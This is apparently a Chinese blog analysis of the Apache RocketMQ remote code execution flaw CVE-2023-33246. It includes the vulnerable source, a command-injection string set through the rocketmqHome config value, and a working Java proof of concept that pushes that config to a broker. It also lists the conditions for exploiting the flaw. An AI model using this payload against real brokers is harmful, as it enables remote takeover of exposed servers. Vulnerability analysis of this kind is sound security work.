前言

RocketMQ是一个开源的分布式消息队列系统，最初由阿里巴巴集团开发并开源。它旨在提供可靠的、高性能的消息传递和异步通信能力，广泛应用于大规模分布式系统中。

NameServer与Broker等组件之间的关系？

Apache RocketMQ是一个分布式消息中间件项目，用于支持高可靠性、高性能和可扩展的消息传递。在RocketMQ中，每个消息生产者和消费者都与Broker（代理服务器）建立连接，以进行消息的发送和接收。

他们的关系如图：

Name Server

NameServer是一个非常简单的Topic路由注册中心，其角色类似Dubbo中的zookeeper，支持Broker的动态注册与发现。

主要功能：

Broker管理：NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制，检查Broker是否还存活(由NamesrvController处理)；

路由信息管理：每个NameServer将保存关于Broker集群的整个路由信息和用于客户端查询的队列信息。

Broker

集群最核心模块，主要负责Topic消息存储、消费者的消费位点管理（消费进度）

Broker会注册到 Name Server上去，无论是否是主从, 每个 Broker 都会注册到 Name Server 上

Broker也提供心跳机制，检查与生产者和消费者的连接情况，由BrokerController处理

心跳机制是RocketMQ用于维持与Broker之间连接状态的一种机制。通过发送心跳消息，生产者和消费者可以告知Broker它们的存在和正常运行状态。默认情况下，RocketMQ的心跳间隔为30秒。如果2分钟内没有收到心跳数据，则断开连接。

在RocketMQ中，心跳消息的处理是由Broker的BrokerController负责的。当Broker收到来自生产者或消费者的心跳消息时，BrokerController会处理该消息并维护与对应客户端的连接状态。所以就会调用到

BrokerController#this.filterServerManager.start()，进而触发漏洞。

这也就解释了为什么漏洞是30秒触发一次！

漏洞分析

通过补丁可以看到直接把这些类删除了

public class FilterServerManager {
  	//......
    public void createFilterServer() {
        int more =
            this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
        String cmd = this.buildStartCommand();
        for (int i = 0; i < more; i++) {
            FilterServerUtil.callShell(cmd, log);
        }
    }

    private String buildStartCommand() {
        String config = "";
        if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
            config = String.format("-c %s", BrokerStartup.CONFIG_FILE_HELPER.getFile());
        }

        if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
            config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
        }

        if (NetworkUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }
    }
  //......
}

public class FilterServerUtil {
    public static void callShell(final String shellString, final Logger log) {
        Process process = null;
        try {
            String[] cmdArray = splitShellString(shellString);
            process = Runtime.getRuntime().exec(cmdArray);
            process.waitFor();
            log.info("CallShell: <{}> OK", shellString);
        } catch (Throwable e) {
            log.error("CallShell: readLine IOException, {}", shellString, e);
        } finally {
            if (null != process)
                process.destroy();
        }
    }

    private static String[] splitShellString(final String shellString) {
        return shellString.split(" ");
    }
}

可以看到buildStartCommand()函数使用了sh去执行这个startfsrv.sh，这里可以拼接rce。当RocketmqHome的值为-c $@|sh . echo open -a Calculator;时，此时的命令为

sh -c $@|sh . echo open -a Calculator;/bin/startfsrv.sh -n NamesrvAddr

第一个命令是 sh -c $@，它使用 sh 解释器执行传递给程序的参数。在这段代码中，$@ 表示接受传入的参数，并将它们作为命令来执行。

第二个命令是 sh . echo open -a Calculator;/bin/startfsrv.sh -n NamesrvAddr，这里会打印输出open -a Calculator并返回给$@变量。

最后执行sh -c open -a Calculator

当执行DefaultMQAdminExt#updateBrokerConfig("127.0.0.1:10911", properties)更新配置文件的时候，就会触发BrokerController#filterServerManager.start()，然后调用FilterServerManager#createFilterServer()，最终RCE

还有一个需要注意的点就是：more不能为0，也就是FilterServerNums不为0即可

int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();

Poc：

public static void main(String[] args) throws IOException {
  Properties props = new Properties();
  props.setProperty("rocketmqHome","-c $@|sh . echo open -a Calculator;");
  props.setProperty("filterServerNums","1");
  DefaultMQAdminExt admin = new DefaultMQAdminExt();
  admin.setNamesrvAddr("localhost:9876");
  admin.start();   
  admin.updateBrokerConfig("localhost:10911", props);
  Properties brokerConfig = admin.getBrokerConfig("localhost:10911");
  admin.shutdown();
}

利用条件：

1.使用了RocketMQ 5.1.0及以下版本
2.Broker都开启并暴露在公网上，默认端口为10911

漏洞复现

为什么攻击的时候并不需要真实的NameServer地址？

需要NameServer的原因是updateBrokerConfig()函数需要传入NameServer，所以它不能为空

接着我们来看一下命令拼接的地方

这里执行的是:

sh ${rocketmqhome}/bin/startfsrv.sh -n ${NameServer}

我们拼接的命令为:

sh -c $@|sh . echo open -a Calculator;/bin/startfsrv.sh -n ${NameServer}

$@是一个特殊的参数，用于表示传递给脚本的所有参数列表

echo open -a Calculator 得到 open -a Calculator传递给$@

然后再被sh -c执行

这里我们的命令执行已经完成了，后面的/bin/startfsrv.sh并没有被执行，${NameServer}也就自然用不上了。如果想让sh正常执行，只需要在前面多一个小数点就行，但跟漏洞利用没关系了。

这个/bin/startfsrv.sh脚本的意义就是：

设置环境变量ROCKETMQ_HOME并启动RocketMQ的Filtersrv服务，并且将传入进来的${NameServer}赋予给$@变量，用于后续FiltersrvStartup类使用。但是我没找到这个类

应该这个类在之前被删除掉了，但这里的sh脚本还没更新。

所以在这个漏洞利用的过程中，不需要使用真实的NameServer地址，只需要让他不为空即可。

Le1a的菜园坝

Apache RocketMQ RCE(CVE-2023-33246)分析

前言